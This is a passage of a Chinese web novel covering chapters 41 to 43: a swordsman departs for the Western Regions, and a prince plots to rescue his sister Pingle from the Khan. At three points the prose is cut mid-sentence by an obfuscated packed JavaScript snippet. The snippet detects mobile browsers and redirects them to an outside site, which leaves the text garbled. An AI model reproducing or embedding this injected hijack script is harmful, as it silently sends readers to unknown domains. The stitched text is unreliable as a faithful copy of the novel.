席容烟一愣,随即松开手,嗔道,“偷看人家写的东西,算什么英雄好汉?” “我才不屑当什么英雄好汉呢。”寒星系好衣服,邪魅一笑,“不过,我倒是要问问烟姑娘,方才也不知是哪家的名门闺秀,趁着我衣衫不整,抱着我不肯撒手。” 席容烟瞪他一眼,负气地转身走了两步。 “胆子越来越大了,也不怕掉下去。” “要你管。” 寒星无奈,只得往她跟前移了几步,眼看她转身又要走,连忙伸手拉住了她,“怎么,你难道还想在这屋顶上呆一辈子不成?” 席容烟这才想起自己现在身处六层高楼的最顶端,离地足足有六十米远。 她忙住了脚,命道,“送我回去。” 寒星一脸嘲弄,“刚才不是还一副天不怕地不怕的样子吗?” 席容烟挑了挑眉,“你到底送不送?” 寒星嘴角轻扬,冲她勾了勾手指,示意她走近些。席容烟不情愿地挪了几步,还未站定,便觉双脚离地,天地旋转,整个人被他打横抱在怀里。 她惊呼一声,把脑袋埋在寒星胸口,听见他平稳有力的心跳声,忽觉格外安心。 寒星低头看她半晌,嘴角挂了一丝若有若无的笑意。 他左脚轻点,御风而行,不过片刻功夫,便抱着她回到了烟雨阁。 席容烟拍了拍他的手,示意他放自己下来。寒星却不理会,一脚踹开了虚掩着的房门。 他抱着她径直走到床前,将她放在床上,回身欲走。 席容烟伸手拽住他的衣摆,“去哪?” 寒星站住,头也不回,只问,“还有何事?” 席容烟低 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13502748|142169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头想了半日,也没编出一个像样的理由,只好坦白道,“天还没亮,你再陪我呆一会儿吧。” 寒星默默立着,也不答话,一时,屋内安静异常,落针可闻。 过了一阵,寒星转过身来,声音低沉醇厚,夹杂着些许化不开捻不清的暧昧,“阿烟,我终归是个男人,你这样缠着我,我早晚会把持不住的,到时候受苦的只能是你。” 席容烟愣了愣,好一会儿才反应过来,抬腿狠狠踹了他一脚,红着脸骂,“你——下流!” 寒星嘴角勾出一抹邪笑,提步顺着她的力道出了屋子。 席容烟怔怔看着关上的房门,正呆坐着,忽听有人在窗外唤道,“阿烟。” 她忙跑到罗汉床上,半跪着打开窗子,果然是寒星站着外头,正冲她笑。 席容烟故意冷着一张脸,“何事?” 寒星并不放在心上,只是淡淡笑着,嘱咐道,“我出去办件事,要很久。这段时间如果有什么事需要帮忙,就去暗卫营找寒木,他是我兄弟,过命的那种。” “很久,是多久?” “不知道,快则一月,慢则——” 他顿住,许久,又笑道,“阿烟,我一定会在你出嫁之前赶回来,如果我没回来,你就把我给忘了,再别想我这个人。” 席容烟心头一紧,抬手死死攥着窗框,“什么意思?寒星,你别忘了,我们可是发过誓的。” “阿烟,我若活着,我一定会娶你,只是,凡是都有个万一,万一我——” 席容烟出声打断,“没有万一,若活,便一处活,若死,便一处死。寒星,我等你一年,你若不回,我自去天上寻你。” 寒星赶紧握住她的手,“阿烟,你听我说,我要去西域办些事情,此一去,路途遥远,万一迷了路,又或中间出了什么状况,几年回不来也不是没有可能。万一我活着回来,你却——”他叹口气,柔声劝道,“答应我,好好活着。” 席容烟握着他的手,低头沉思半晌,“那你说,最晚要多久才能回来?” 寒星摇了摇头,“我不知道。” 席容烟苦笑,“好吧,那我一直等着你就是了,阿星,千万别让我等太久。” 寒星还想再劝,待看见她倔强的目光,知道再说什么都是徒劳,只好闷闷答应了一声。他用力握了握她的手,道了句“保重”,便要离开。 席容烟喊住了他,“等一下,我有东西给你。” 说着,她便跳下了罗汉床。 寒星站在窗子外头等她,过了一会儿,只见席容烟拿了一把剪子走到窗前。 寒星正在纳闷,却见她摸了一把头发,就着外头的光亮剪了半绺,分作两半,搁在案上,又递了剪子出去,“剪一绺你的头发下来。” 寒星依言行事,果然剪了一绺给她。席容烟接过,也均匀分作两半,连同自己的两半,束了两枚同心结,一枚自己收好,一枚递给寒星,含笑吟道,“交丝结龙凤,镂彩结云霞。一寸同心缕,千年长命花。结了青丝,系了同心,我们从此便是夫妻了,生死,总在一处。”[2] 寒星捧着同心结看了许久,忽而背过身去,仰头望向东方那轮若隐若现的红日,半晌,他清了清嗓子,一字一顿道,“好好的,等我回来。”说毕,他大步离去,再未回头。 席容烟紧紧攥着自己的那枚同心结,哽咽着说不出话,只是拼命点头,明知他看不见,也不愿让他听见自己的哭腔,害他心里难受。她伏在窗上,目送着寒星离去,这才抽回身,关好窗子,伏在小几上低声哭了起来。 41. 大漠风波起 翌日清早,席容烟在一声尖叫声中惊醒。 桃夭脸色煞白地跑了进来,“姑娘,私狱出事儿了!” “怎么了?” “洒扫婆子在园中遥遥看见了一株红色的树,她还以为是什么吉祥的好意头,走近一瞧,才发现上头竟然挂了十只鲜血淋漓的手臂,而私狱那边的消息是,昨晚失踪了几个狱卒。” 席容烟艰难地咽了吐沫,“失踪的那几个,是昨日看守烟雨阁的人吗?” 桃夭摇摇头,“不知道,老爷已经让人去查了,这事儿太过恐怖,看见的人都被吓了个半死,若不查出个究竟来,府里定然人心惶惶。” 席容烟心说,这十有八九是寒星的手笔,席容炎再如何查,也查不出所以然了。 她微一叹气,那人轻薄于她,慢待于她,的确可恶,但无论如何,总归罪不至死。 寒星为了她做到如此地步,她自然是感动的,可感动之余,她又有点心惊,万一有一天,自己一不小心惹怒了他,他对自己会不会也如此残忍? “姑娘在想什么?” “没,没什么。” 席容烟想起方才听见的那声叫喊,问道,“我刚才似乎听见有人在喊什么?” “哦,是敛秋,她一大早也不知道是怎么了,跟撞了鬼似的,一直在那儿磕头,说什么‘别杀我’‘我错了’之类的,时不时就乱叫乱嚷起来,我才让几个婆子把她的嘴堵上了,没想到还是扰了姑娘安睡。” “无妨。”席容烟想了想,“请个大夫给她瞧瞧吧,别落下什么病根儿。” 桃夭扁了扁嘴,“姑娘真是人美心善,还给她请大夫,要我说,就该借着这个由头把她撵出去,让她猖狂。” 席容烟笑道,“没有敛秋,也会有别人,她吃了教训,总能收敛一些,有些时候,与人方便,就是与己方便,去吧。” “是。” 郊外。 水墨折枝,土花生凉。 寒星单手提剑,在一片泥泞中艰难前行。 秋霖脉脉,雨水一滴一滴砸落头顶,又顺着鬓发淌入眼中。 寒星的衣袍被迸溅的满是泥点,他却混若不觉,只是一步一步,矢志不移地跋涉着。 乌云遮蔽了所有光亮,天色阴沉的仿佛能拧出墨汁,伴着雷声阵阵轰鸣,分外可怖。 树木渐次稀疏,一个落满枯叶,长满杂草的土垄横在一片荒芜之中。 寒星扑通一声跪倒在地,“娘!” 他的声音仿佛是野兽的嘶吼,压过了雨声雷声,震得天地一声巨响。 寒星脸上身上都是湿的,不知是雨水还是泪水。 他跪在垄前,伸手拨开了上头凌乱的枯枝落叶。 “娘,儿子不孝,让你在这里受苦了,娘,你别着急,儿子马上就能带你回家了。儿子要带你去看大漠,去听风吟,儿子还会折下你最喜欢的耶悉茗,折好多好多,把这里插满,让你日日夜夜都能枕着花香入睡,好不好。” 四下岑寂,回应他的只有呜呜的风声。 寒星张开双臂,抱住了那座孤坟,仿佛儿时那般,睡在了母亲的怀里,他笑了笑,絮絮念着心里的话。 “娘,我好想你,日日夜夜都想,你知道吗,自从你离开之后,我每次受了伤,生了病,都会在心底一遍遍唤你,这样,我就再也不觉得疼了……” “时间过的真快呀,一眨眼,你已经离开儿子十多年了,可我每次想起你的音容笑貌,都还那么清晰,仿佛你还活着,活在我的身边……” “娘,你还记得父亲的样子吗,我已经记不得了。有时候,我做梦会梦到父亲,梦到他带着我骑马射箭,可是,哪怕在梦里,父亲的模样也是十分模糊的,有时候,就只留下一个背影。娘,如果你泉下有知的话,一定要托梦告诉儿子,告诉儿子,他的模样……” 雨越下越大,寒星抹了把脸,偏头啐掉混进嘴里的泥水。 “娘,我要走了,去西域,不,应该说,回西域。二十年了,那些恩怨纠葛,那些切骨之仇,都该有个了结了。儿子在宰相府隐忍了这么多年,为的就是今日。娘,我一定会亲手割下杀父仇人的的头颅,告慰你和父亲的在天之灵!” 怒火在他的心中燃烧,热血在他的体内奔腾,寒星霍地站起身来,他走了两步,又折返回来,半跪在坟前,“娘,还有一件事,儿子想告诉你,我第一次有了保护一个人的冲动,我有心上人了。我想娶她,我想让她做我唯一的妻,但是,我又害怕,她有一天会发现,我从前利用过她,甚至,我现在也在利用她,可我知道,我已经有点不受控制的喜欢上她了。” 寒星仰头,望着天上的那轮皓月冲破层层乌云,照破万朵山河。 他呢喃着,“娘,我该怎么办——” 天边,一抹霁色浮现。 雨,就要停了。 西域。 西域可汗高踞上首,穿了一身窄袖左衽红色胡服,领子外翻,露出了他结实黝黑的胸肌,腰上缠着对虎纹金带饰,右边系了一把赤金柄竖棱纹短剑。 平乐头挽高髻,斜坐在他的身侧,上面穿了件紫红罗地蹙金绣半臂,外搭绿色印花披帛,下面穿的也是紫红罗地蹙金绣的长裙,足上一双云头锦履。 她脸上涂了一层厚厚的脂粉,额画花钿,面批斜红,原该是极美的,可她眸中木然,神色戚戚,一动不动的坐在那里,像个毫无生气的木偶人一般,模样有些骇人。 肃安王坐东面西,旁边是孟甘,对席是穆则帕尔、巴吐尔二人。 肃安王一面饮酒,一面不动声色的打量着平乐,回忆起他们儿时在一处玩耍的场景,神色不免黯然。 他紧握拳头,手背上青筋暴起,他的目光慢慢从平乐身上挪开,待看向西域可汗时,眼中已满是杀意。 酒碗很快就空了,悠悠跪在他的身侧,替他斟酒,趁机低声劝解道,“王爷稍安勿躁,不要打草惊蛇才是。” 肃安王举起才刚斟满的酒碗,仰头一饮而尽,喊了句,“痛快!” 可汗看向他,“哈哈哈哈,肃安王,你们中原有句话是怎么说的来着,四海之内,都是兄弟!来,我和平乐一起敬你一碗!” 平乐跟着可汗举起酒碗,对肃安王挤出一抹笑来,“平乐敬兄长。” 肃安王带着几分醉意,端着酒碗走上前去。可汗身后立着的武士见他过来,手不自觉的握紧刀把,穆则帕尔和巴吐尔二人也止住了谈话,一齐看向这边。 可汗倒是神色如常,伸臂揽住平乐,笑着站起身来迎他。 肃安王在他们跟前一米远的地方站住,仔细端详着平乐,半晌没说话,转头向可汗笑道,“我与平乐有几句话要说,可汗能否行个方便。” 可汗看看肃安王,又扭头看看平乐,嘻嘻笑着,“王爷有所不知,平乐如今怀上了身孕,本汗不放心她不在自己身旁,所以,还请王爷体谅。” 肃安王也不勉强,将碗中酒一饮而尽,随手撂在一边,微微笑了笑,“那就恭喜可汗了,陆奔,把礼物呈上来。” 陆奔应声上前,手里托着一个木盘,盘上还盖了一层红绸。 肃安王掀起红绸,取出一枚八龙纹金带扣,龙身上嵌着的绿松石和红宝石在阳光下熠熠夺目,众人啧啧称奇,可汗也面露欣喜之色,才要伸手去接,却见肃安王拿着金带扣,往后退了一步。 可汗的手滞在半空,不解的看向他,“王爷这是何意?” 肃安王笑着解释,“此乃御赐之物,还请可汗跪下谢恩。” 可汗还未作声,穆则帕尔却已按捺不住,拔刀上前,大喝一声,“放肆!” 可汗挥挥手,示意他退下,又沉声问肃安王,“你要本汗跪你?” 肃安王摇了摇头,朝着东方拱了拱手,“不是跪我,是跪皇上。” 可汗咬咬牙,往后退了一步,跪下谢恩道,“臣苏里唐谢大魏皇帝陛下恩赏。” 肃安王笑而不语,上前扶他,将金带扣搁到他手上,随即看向平乐,眼中多了几分柔和。 他从木盘上取下一对玉镯,递给平乐,温声道,“我来之前,淑妃娘娘特意召见了我,要我将这对玉镯带给你。娘娘说这是她当年的陪嫁之物,她的母亲——也就是宁远侯夫人,你的祖母,亲自给她压在箱底的嫁妆。” 平乐死寂的脸上闪过一丝惊诧,抬头定定的看着他不说话。 肃安王仍是笑着,继续说道,“玉中自有乾坤,今携此物,一贺妹妹有孕之喜,二祝可汗与妹妹恩爱长久,白头偕老。” 可汗瞥了一眼玉镯,见它成色普通,纹样简单,心里并不感兴趣,转身坐回了座位上。平乐颤着手接过,顺势戴上,屈膝行礼拜谢。 肃安王扶起她,随即也回到了座位上,武士见他走了,握着刀的手缓缓落下,穆则帕尔、巴吐尔也都松了口气,不再看他们,继续和席上诸人把酒言欢。 台上歌舞升平,台下觥筹交错,场面一时又热络起来。 平乐惨白的脸上渗出一抹血色,她偷眼看向肃安王,他微笑着点头致意。 她又看了看他身侧的悠悠,目光忽地一顿。 悠悠自从进了肃安王的营帐之后,便换上了大魏侍女的衣裳,对外只说是跟着肃安王从大魏过来的,西域舞女同大魏侍女的妆容本就有着天壤之别,因此也无人疑心,至于从前的尤辛,舞女本就是玩物,西域人怎会把一个玩物放在心上,见她许久不归,只当她是被哪个西域权贵看中留下了,因此全不在意。 虽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13502749|142169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然时隔多年,平乐还是一眼就认出了当年的贴身侍女悠悠,她不可置信地看着悠悠,眼中泪光闪现,悠悠回她一笑,似是安慰,又似是久别重逢的欢喜,随即忙又垂下头去。 可汗和穆则帕尔喝了几碗酒,转头看看平乐,见她正在出神,便顺着她的视线寻了过去。 肃安王正和孟甘说话,他身侧的悠悠低着头,默默跪着给他斟酒。 可汗扫视一圈,没看出什么端倪,便又收回视线,盯着平乐眼里的泪花,“在看什么?” 平乐见问,慌忙回过神来,胡乱抹了把脸,叹了口气,道,“在看晗安哥哥。时岁荏苒,我自嫁到这里,不知不觉间已经过了六七年了。当初,我和晗安哥哥分别时,虽不是死别,却也是生离,没想到有生之年,还能再活着见他一面,这样一想,倒也没什么好遗憾的了。” 她说得悲戚,可汗也不禁有些动容,伸出手帮她擦了擦眼泪,安抚道,“你若是听话、温顺一些,又怎会吃这么多苦,以后好好跟着我过日子罢,我会照顾你的。” 平乐心中冷笑,面上却装出感激的神色,柔声说,“从前是平乐年轻不懂事,吃了许多苦头,也怨不得旁人。如今怀了大汗的孩子,只求大汗给一条活路,平乐就感激不尽了。” 可汗应了一声,伸手抚弄着她鬓角的碎发,笑问,“怎么竟像变了一个人似的,比先前不知好了多少。” 平乐心头恨得滴血,她转了转腕上的玉镯,狠命压下对他的恨与恶,摸着肚子,强笑道,“许是有了孩子的缘故吧。” 可汗点点头,只管揽着她笑。 酒过三巡,肃安王起身作别,“天色也不早了,本王这就回去了。” 可汗起身拦住他,“忙什么,王爷难得来西域一趟,本汗还想多敬王爷几碗酒呢。” 肃安王笑着回绝,“今日已经喝了许多了,明日还要早起赶路,就不叨扰可汗了。” 可汗听闻他要回京,心中一喜,忙问,“王爷这就要走了?” “嗯,已经逗留多日了,今日见到平乐,我也算不虚此行,该回去向父皇复命了,平乐身子一向娇弱,还望可汗多多照顾,别让她受委屈。” 可汗搂了一把平乐,满口应承,“这个自然,本汗的女人,本汗当然要疼。” 平乐配合地笑笑,眼神中却还是掩盖不住的凄楚,她定定看了肃安王一阵,忽然跪下,行了一个大礼,肃安王连忙上前搀她,她却不肯起,口中说道,“这一礼,是给父皇的。” 肃安王不好再扶,只得站在一旁默默看着她。 她磕完头,直起身子,含着泪笑道,“遣妾一身安社稷,不知何处用将军。六年多了,我时常好奇,父皇可曾会有那么一丝丝后悔。兄长回去替我问他一句,可好?”[1] 肃安王胸口闷闷的难受,他真狠不能现在就当着平乐的面,一刀宰了那个畜生,可是,若无必胜的把握,他绝不能拿全军将士的性命开玩笑。 他深吸了一口气,“好。” 平乐牵了牵嘴角,神色苍凉,又跪下行了一个大礼,“这一礼给我母妃,她生我养我,我却不能在她跟前尽孝,这是我的罪过。烦请兄长回去转告她,我们母女此生再见已无指望,只能来世,再报她的养育之恩了。” 肃安王听这话头不对,急忙出言制止,“平乐,别说傻话。” 平乐自顾自站起身来,冲他甜甜一笑。 刹那间,他不由得有些恍惚,仿佛平乐一下又变成了当年那个跟在他身后的小女孩,他低头掩饰眸中的感伤,无意间瞥见自己一身的甲胄,愣了愣,忽而自嘲地笑了起来。 他们,都再也回不去了。 平乐微微屈膝,向他行礼,“兄长,平乐还有一事相求。” 肃安王一把扶住她,“平乐,你说,不论你说什么,我都答应你。” 平乐感激地笑了笑,“母妃只有我一个女儿,她年岁已高,估计以后也很难再有身孕了,宫里的日子难熬,晗安哥哥,你若有空,就代我多去看看她,陪她说说话吧。” 肃安王颔首,“你便不说,我也会去的,你放心,淑妃娘娘一切都好,只是时常惦念你。”他叹了口气,伸手握住她的手,“平乐,你要好生珍重啊,日子还长,别这么悲观。你方才托我转达父皇和淑妃娘娘的话,不是大逆不道就是胡言乱语,我可不想跟着挨骂。你还是等哪天自己见到他们两个了,亲自去说吧。” 平乐感觉到他的手指在玉镯旁边转了个圈儿,而后才缓缓松开。 平乐抬眼看他,目光格外沉静,“生死有命,一切都不必勉强。” 肃安王抿了抿唇,“天行健,君子以自强不息,平乐,相信我。”[2] 平乐沉默半晌,终是点了点头。 42. 三更鼓响时 肃安王一笑,抬手向可汗作别。 可汗一直在旁站着,神色晦暗不明,只是微微颔首还礼,巴吐尔他们几个也跟在后头,行了西域的礼,只有穆则帕尔远远站着,丝毫没有行礼的意思。 肃安王也不在意,招呼着自己带来的人离开。 平乐目送肃安王走远了,便向可汗行礼告退。 可汗待她走了,转头向巴吐尔问道,“巴吐尔,这些人里,只有你在大魏呆过一段时间,你可知道,他们方才说的那两句话是什么意思吗?” 巴吐尔想了想,恭敬回话,“平乐阏氏的话出自《论语》,是说人的生死皆由天命决定。肃安王的那句则是出自《易传》,大概是说人要自强不息。我猜测,王爷是想用这句话来劝阏氏不要太过悲观吧。” 穆则帕尔冷笑一声,“他们的话听起来文绉绉的,其实七拐八拐,都是些没用的废话。” 可汗琢磨了一阵,也没想出更合理的解释,便将此事暂且搁下,转身入席。 可汗和穆则帕尔、巴吐尔几个人又喝了一阵子才散,临走时,他吩咐巴吐尔盯紧肃安王的动向,又命令穆则帕尔晚上增强巡逻兵力,不可懈怠。 “喝酒误事,你们也不要多饮,早些回去休息。” 嘱咐完,可汗就离开了。 巴吐尔领命而去,穆则帕尔则坐着不动,直到最后众人都散了,他仍坐在那里自斟自饮,自得其乐。 过了一会儿,他的属下伊根过来行礼,“将军,巴吐尔将军刚才命人传话,说要我们晚上注意防卫,伊根请示将军,我们具体应该如何部署?” 穆则帕尔方才喝了许多酒,此刻已有七八分醉意,他转着酒碗,看向伊根,“你说什么?” 伊根只得又重复了一遍,穆则帕尔一下子摔了酒碗,嚷道,“放肆,我与他同为翖侯,他怎敢指挥我?” “巴吐尔将军说,这是可汗的意思。” “大哥才不会如此胆小,退下。” 穆则帕尔挥了挥手,命他下去,伊根无法,只得离开。 十月,天气十分凉爽,朔北的风夹杂着西域独有的干燥,呼呼作响。 可汗迎着风,信步而行,一路上,众人见到了他,都向他行礼问好,“大汗。” 可汗微微颔首,眉头紧紧皱着,他不禁又想起了平乐和肃安王之间的对话,“生死有命,一切都不必勉强……天行健,君子以自强不息……”他总觉得这话蹊跷,却又没有头绪。 他低头琢磨着,猛一抬头,竟已行到平乐帐前。 两个侍女都在门口站着,见他来了,连忙行礼,“大汗。” “怎么不在里头服侍?” “阏氏自回来便将我们撵了出来,说要一个人静静,不许我们进去打扰。” 可汗掀了帐门进去,营帐里没有点灯,黑漆漆的一片,伸手不见五指。侍女跟进来点灯,又倒了茶来。 可汗端起碗,看见里面茶汤色泽红艳明亮,不似惯常所饮,便问,“这是什么?” 侍女回道,“回大汗的话,这是茯茶,是肃安王之前送过来的。”侍女看见他皱起眉头,忙又补充道,“巴吐尔将军曾命巫医仔细检查过,并无不妥之处,阏氏她很喜欢喝这个茶,已经一连喝了好几日了。” 可汗点点头,轻抿了一小口,果觉入口清爽,唇齿留香,他又呷了几口,挥手示意侍女退下,抬头看向对面的平乐,“过来。” 平乐慢慢挪过来,在他身旁坐定,可汗亲自倒了一碗茯茶,递了过去。 平乐伸手去接,“谢大汗。” 可汗看着她空空如也的手腕,“咦”了一声,问,“肃安王给你的那对玉镯呢?” 平乐不紧不慢地喝完茶,把碗放下,抬眼看着他,“镯子,我给摔了。” “哦?为什么?” 平乐语气平淡,听不出喜怒哀乐,“命都留不住,还要这身外之物做什么。” 可汗目不转睛地盯着她,不发一言。 平乐忽而笑了起来,她站起身来,徐徐跪了下去,“大汗不必这样看着我,碎渣子都是两个侍女收拾的,大汗传进来一问便知,如若还是不信,左右晗安哥哥此时已经走了,大汗留我也无用处,不如一刀杀死我,也算大汗做了一件善事。” 沉默,死一般的沉默,不知过了多久,可汗的声音从喉咙深处发出,听起来格外的低沉沙哑,“平乐,你就这么想死吗?” 平乐掉了颗泪,六七年来的委屈愤懑在这一瞬间涌上心头,“生死,是我能做主的事吗?我从小生在帝王家,人人都说我有福气,一出生就吃穿不愁,可只有我知道,我这一生都要和大魏捆在一处,半点都由不得自己做主。果然,父皇下了旨意,命我前往西域和亲,母妃哭着在长乐宫外跪求了他一整晚,可他无动于衷,甚至不肯见母妃一面——” 平乐越说越激愤,伏在地上痛哭起来。 可汗看着她,神色恻然,他突然有些后悔,后悔自己不该对她做那些事,不该那样伤她的身,伤她的心。她,又有什么错呢?花儿一样的年纪,就不得不背井离乡,远嫁千里之外,他对她产生了一种异样的感情,那是从未有过的怜惜与同情。 他伸手拽她起来,可她哭得太过伤心,一点站起来的力气也没有,他只得将她拦腰抱起,放在了桌子上。 “平乐,从前的事都已经过去了。只要你愿意,你以后不再是大魏的公主,就只是我们西域的阏氏,我会爱你护你,子民们也会敬你拥戴你,忘了那些不愉快的事吧。” 平乐低头啜泣,“可,可是我现在中着毒,肚里的孩子也沾染了毒素,只怕活不长了。” 可汗笑了笑,“原来你担心这个。” “来人!”可汗扬声唤侍女进来,吩咐道,“去请巫医,命他带上解药,尽快过来。” 侍女应声出去,不多时就领了巫医进来。 巫医向可汗行了礼,从药匣中取出一个青竹瓶,恭敬奉上,可汗瞟了一眼,并没有接,“不是这个。” 巫医一愣,随即明白过来,在怀里掏了又掏,摸出一个小巧的褚色瓶子,直接递向平乐,“阏氏服了药,体内的毒素便可尽数清了。” 平乐看着解药,心中激动不已,面上却不敢表露分毫,只是拿眼看向可汗,见他并没有阻拦的意思,这才接了过来。平乐拔开瓶塞,倒出一颗龙眼大小的药丸,一把就塞进了嘴里。药丸噎得她一阵难受,她忙拿手掩住嘴巴,用力往下咽。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13502750|142169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可汗一挥手,巫医和侍女就都退了出去。 可汗凑到平乐跟前,呼吸声渐渐变得急促起来,“你今晚——好香啊——” 平乐心中厌恶,却不愿在这个时候再生是非,坏了大事。 帐内春风颠倒处,帐外已是二更鼓。 平乐问得鼓响之音,心中着急,却不敢动,待身上之人的气息逐渐平稳,似已沉沉睡去,她才光着脚捡起地上破碎不堪的衣服,摸黑裹在身上。 她小心翼翼地走到帐门处,留神细听外头的动静。 外面一切如常,只是偶尔有巡逻的士兵经过。 平乐蹲坐在门口,静静熬着时辰。 地面很凉,四处都黑漆漆的,可她一想起白日晗安哥哥说过的话,仿佛就又看到了希望的曙光。 是啊,不试一试,怎么知道呢。 肃安王给平乐的那对玉镯其实是空心的,里面各自装了一张纸条,一句是“三更鼓响”,一句是“带你回家”。 平乐原本并未留心镯上机关,直到肃安王说宁远侯夫人是她的祖母,她才听出不对劲。 大魏虽有宁远侯,却并非她的祖父,她的祖母更不可能是什么宁远侯夫人,肃安王绝对不会混淆此事,只有一种可能,他在另有所指。 还有他身侧那个模样酷似悠悠的侍女,还有作别时他紧握在自己腕子上的手,还有他对自己说的那句话:天行健,君子以自强不息,平乐,相信我…… 可她依旧不敢相信,不敢相信他能清楚知道她的处境,不敢相信他愿意冒着败北的风险护她回大魏,或者说,平乐不相信的是魏帝,她不信那个当年坚持把她送到这里的人,如今会为了她,打破大魏同西域看起来相安无事的太平局面。 她在席间对晗安哥哥行的三个礼,既是压抑多年的真情流露,也是举棋不定的有意试探——他,真的是来救她的吗? 对于平乐而言,她的日子已经糟糕到了这等地步,即便再糟糕一些也无所谓了,大不了就是一死而已,说起来,死对她也是一种解脱,可是活着,却需要莫大的勇气,平乐最怕的不是没有希望,而是有了希望,却又一次次落空。 当年,她偶然发现了可汗与席容炎的秘密往来,准备写信告诉父皇时,却被可汗察觉,狠打了一顿,此后,可汗便不准她再写家书,她也曾抱过希望,她的父皇收不到家书,会派人来看她,可是事实表明,一切不过是她的奢望而已,魏帝只是在写给可汗的信中提了她两句,在得到可汗“平乐阏氏一切安好”的回复后,便再无音讯。 平乐自嘲般地笑了起来,或许对于她的父皇来讲,平乐公主是生是死都无甚所谓,重要的是,“平乐阏氏”仍能在大魏与西域之间发挥作用,这就足够了。 三更鼓响,平乐的心怵然一惊,是时候了。 她颤手撩开帐帘一角,从缝隙往外看去,门外有两个武士抱刀而立,看起来不好对付,她颓然地坐了回来,思索着晗安哥哥打算如何营救自己,强攻?偷袭? 她想不出来,也懒得再想,生死,都无所谓了。 时间一分一秒地过去,平乐听着床上传来的鼾声,也不觉有些困倦,迷迷糊糊地等待着。 这时候,外面忽然喧闹了起来。 43. 晗安救平乐 平乐一下子清醒了许多,赶紧把耳朵贴在帐上细听。 像是巴吐尔的声音,“大汗呢?” 一个士兵回话,“在平乐阏氏帐里。” 另一个士兵的声音,“巴吐尔将军,出什么事了?” 巴吐尔的声音,“最北边的那片营帐起火了,火势虽然不大,但是原因不明,而肃安王的军队走到风疾坡,就扎营不动了,我担心这两件事之间会有关联。” 又一个士兵的声音,“蒋军会不会多虑了,我听说啊,那帮大魏人都娇气的不行,走几步就要歇一歇,要是赶上了风沙天,只怕没个一年半载都回不去大魏呢,哈哈哈。” 几个士兵跟着哄笑起来,“是啊,秋天干燥风大,起火也是寻常事,灭了就没事了。” “有什么可笑的?!”巴吐尔的声音里带着怒火,“你们将军呢?” 第一个士兵嗫喏着回话,“我们将军多吃了几碗酒,有些醉,早早就回去歇下了。” 巴吐尔骂了一句,还要说什么,就听远处急匆匆的脚步声。 一个士兵小跑着过来传话,“不好了将军,西边营帐也起火了,火势很大,托乎提将军已经赶过去了。” 巴吐尔转过身去,果见火光冲天,他狠狠往地上吐了一口吐沫,随后吩咐道,“别慌,你先去东边和南边,让那边巡逻的士兵加强警备,再回去找到托乎提,就说是我的命令,让他仔细清点附近人口,一定要抓住纵火之人。” 那个士兵应了声“是”,连忙小跑着去了。 巴吐尔接着吩咐,“你,去找你们将军,无论他醉成什么样子,你都要把他给我弄醒!剩下的几个都在原地守着,哪都不要去。” 平乐一喜,是晗安哥哥来救她了。 这一天,终于到了。 她欢喜的几乎要流下眼泪,忽听一阵急促有力的脚步声响起,这声音离自己越来越近,越来越近。 平乐慌乱起来,后背抵住帐门,两只手紧紧绞在一起。 巴吐尔疾步往大帐行来,门口的两个武士拦住了他,“巴吐尔将军,大汗正在休息。” 巴吐尔怒斥,“让开!我有很重要的军情回禀大汗!” 两个武士互相看了一眼,“对不起将军,大汗休息的时候一向不准人打扰,您知道的。” “滚开!” “什么事啊?” 平乐身子一颤,几乎要晕厥过去,这居然是可汗的声音。 她紧张地望向床上,见他仍旧躺着,似乎并没看见自己,她勉强稳了稳心神,趁着夜色,蹑手蹑脚地爬到桌下躲了起来。她的心砰砰直跳,只能抚着胸口,一遍遍告诉自己要镇定。 巴吐尔在外面高声回话,“大汗,出事了,北边营帐和西边营帐先后起火,我已经派人去查了,但目前还没有结果,我担心,这件事和肃安王有关。” 可汗“嗯”了一声,声音有些慵懒,像是还未睡醒。 随后平乐就听见了轻轻的拍打声,她的心又提到了嗓子眼儿——他这是在找她! 可汗没有摸到平乐,猛地翻身坐了起来,他经过平乐身前的时候,平乐紧紧屏住呼吸,直到他走远了才勉强松了一口气。 可汗一把掀开帐门,“平乐阏氏去哪了?” 两个武士面面相觑,“没看见平乐阏氏出来呀。” 可汗闻言,抢过一个士兵手里的火把,转身又进了营帐。 他踢开凳子,推开箱笼,举着火把找遍了整个营帐,却都没发现平乐的踪迹。火光忽闪之际,他突然发现平乐正躺在床上撑头看着自己,她的眼神迷迷糊糊,像是刚刚睡醒的样子,不解的问,“大汗在找什么?” 可汗愣了一下,随即向她走了过去,“你刚才去哪了?” 平乐摇头,“我一直在这儿啊。”她低下头,脸上一抹娇羞,“大汗把人家的衣服都给扯坏了,我还能去哪?” 